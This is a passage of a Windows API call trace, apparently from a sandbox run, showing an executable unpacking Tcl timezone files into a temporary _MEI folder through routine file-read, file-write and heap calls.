(in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.157] htonl (hostlong=0x30000000) returned 0x30 [0042.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.157] GetFileType (hFile=0x10c) returned 0x1 [0042.157] htonl (hostlong=0xd5be5b00) returned 0x5bbed5 [0042.157] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606ed5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.157] htonl (hostlong=0x73000000) returned 0x73 [0042.157] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x55cfe0 [0042.157] htonl (hostlong=0x73000000) returned 0x73 [0042.157] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.157] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.157] htonl (hostlong=0x71000000) returned 0x71 [0042.157] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71) returned 0x550600 [0042.157] htonl (hostlong=0x73000000) returned 0x73 [0042.157] htonl (hostlong=0x71000000) returned 0x71 [0042.157] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.158] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.158] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.158] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.158] CloseHandle (hObject=0x10c) returned 1 [0042.158] GetLastError () returned 0x0 [0042.158] SetLastError (dwErrCode=0x0) [0042.158] GetLastError () returned 0x0 [0042.158] SetLastError (dwErrCode=0x0) [0042.158] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.158] GetFileType (hFile=0x10c) returned 0x1 [0042.158] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.158] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.158] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.158] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.158] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.158] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.158] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.158] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.158] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.158] CloseHandle (hObject=0x10c) returned 1 [0042.158] GetLastError () returned 0x0 [0042.158] SetLastError (dwErrCode=0x0) [0042.158] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.159] GetFileType (hFile=0x10c) returned 0x1 [0042.159] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.159] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.159] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.159] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.159] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.159] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.159] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.159] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.159] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.159] CloseHandle (hObject=0x10c) returned 1 [0042.159] GetLastError () returned 0x0 [0042.159] SetLastError (dwErrCode=0x0) [0042.159] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.159] GetFileType (hFile=0x10c) returned 0x1 [0042.159] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.159] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.159] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.159] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.159] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.159] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.159] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.159] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.159] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.159] CloseHandle (hObject=0x10c) returned 1 [0042.160] GetLastError () returned 0x0 [0042.160] SetLastError (dwErrCode=0x0) [0042.160] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-4") returned 66 [0042.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-4"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.160] GetLastError () returned 0x2 [0042.160] SetLastError (dwErrCode=0x2) [0042.160] GetLastError () returned 0x2 [0042.160] SetLastError (dwErrCode=0x2) [0042.160] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-4", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-4", lpFilePart=0x0) returned 0x41 [0042.160] GetLastError () returned 0x2 [0042.160] SetLastError (dwErrCode=0x2) [0042.160] GetLastError () returned 0x2 [0042.160] SetLastError (dwErrCode=0x2) [0042.160] GetLastError () returned 0x2 [0042.160] SetLastError (dwErrCode=0x2) [0042.160] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-4") returned 66 [0042.160] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.160] GetFileType (hFile=0x10c) returned 0x1 [0042.160] htonl (hostlong=0x71000000) returned 0x71 [0042.160] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.160] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x71, lpOverlapped=0x0) returned 1 [0042.161] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.161] CloseHandle (hObject=0x10c) returned 1 [0042.161] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.161] htonl (hostlong=0x30000000) returned 0x30 [0042.161] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.162] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.162] GetFileType (hFile=0x10c) returned 0x1 [0042.162] htonl (hostlong=0x48bf5b00) returned 0x5bbf48 [0042.162] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606f48, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.162] htonl (hostlong=0x73000000) returned 0x73 [0042.162] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x55cfe0 [0042.162] htonl (hostlong=0x73000000) returned 0x73 [0042.162] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.162] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.162] htonl (hostlong=0x71000000) returned 0x71 [0042.162] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71) returned 0x550600 [0042.162] htonl (hostlong=0x73000000) returned 0x73 [0042.162] htonl (hostlong=0x71000000) returned 0x71 [0042.162] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.162] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.162] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.162] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.162] CloseHandle (hObject=0x10c) returned 1 [0042.162] GetLastError () returned 0x0 [0042.162] SetLastError (dwErrCode=0x0) [0042.162] GetLastError () returned 0x0 [0042.162] SetLastError (dwErrCode=0x0) [0042.162] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.162] GetFileType (hFile=0x10c) returned 0x1 [0042.163] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.163] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.163] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.163] CloseHandle (hObject=0x10c) returned 1 [0042.163] GetLastError () returned 0x0 [0042.163] SetLastError (dwErrCode=0x0) [0042.163] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.163] GetFileType (hFile=0x10c) returned 0x1 [0042.163] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.163] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.163] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.163] CloseHandle (hObject=0x10c) returned 1 [0042.164] GetLastError () returned 0x0 [0042.164] SetLastError (dwErrCode=0x0) [0042.164] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.164] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.164] GetFileType (hFile=0x10c) returned 0x1 [0042.164] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.164] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.164] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.164] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.164] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.164] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.164] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.164] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.164] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.164] CloseHandle (hObject=0x10c) returned 1 [0042.164] GetLastError () returned 0x0 [0042.164] SetLastError (dwErrCode=0x0) [0042.164] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-5") returned 66 [0042.164] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-5"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.164] GetLastError () returned 0x2 [0042.164] SetLastError (dwErrCode=0x2) [0042.164] GetLastError () returned 0x2 [0042.164] SetLastError (dwErrCode=0x2) [0042.164] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-5", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-5", lpFilePart=0x0) returned 0x41 [0042.164] GetLastError () returned 0x2 [0042.164] SetLastError (dwErrCode=0x2) [0042.164] GetLastError () returned 0x2 [0042.164] SetLastError (dwErrCode=0x2) [0042.165] GetLastError () returned 0x2 [0042.165] SetLastError (dwErrCode=0x2) [0042.165] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-5") returned 66 [0042.165] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.165] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-5"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.166] GetFileType (hFile=0x10c) returned 0x1 [0042.166] htonl (hostlong=0x71000000) returned 0x71 [0042.166] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.166] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x71, lpOverlapped=0x0) returned 1 [0042.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.167] CloseHandle (hObject=0x10c) returned 1 [0042.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.167] htonl (hostlong=0x30000000) returned 0x30 [0042.167] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.167] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.167] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.167] GetFileType (hFile=0x10c) returned 0x1 [0042.167] htonl (hostlong=0xbbbf5b00) returned 0x5bbfbb [0042.167] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606fbb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.167] htonl (hostlong=0x73000000) returned 0x73 [0042.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x55cfe0 [0042.167] htonl 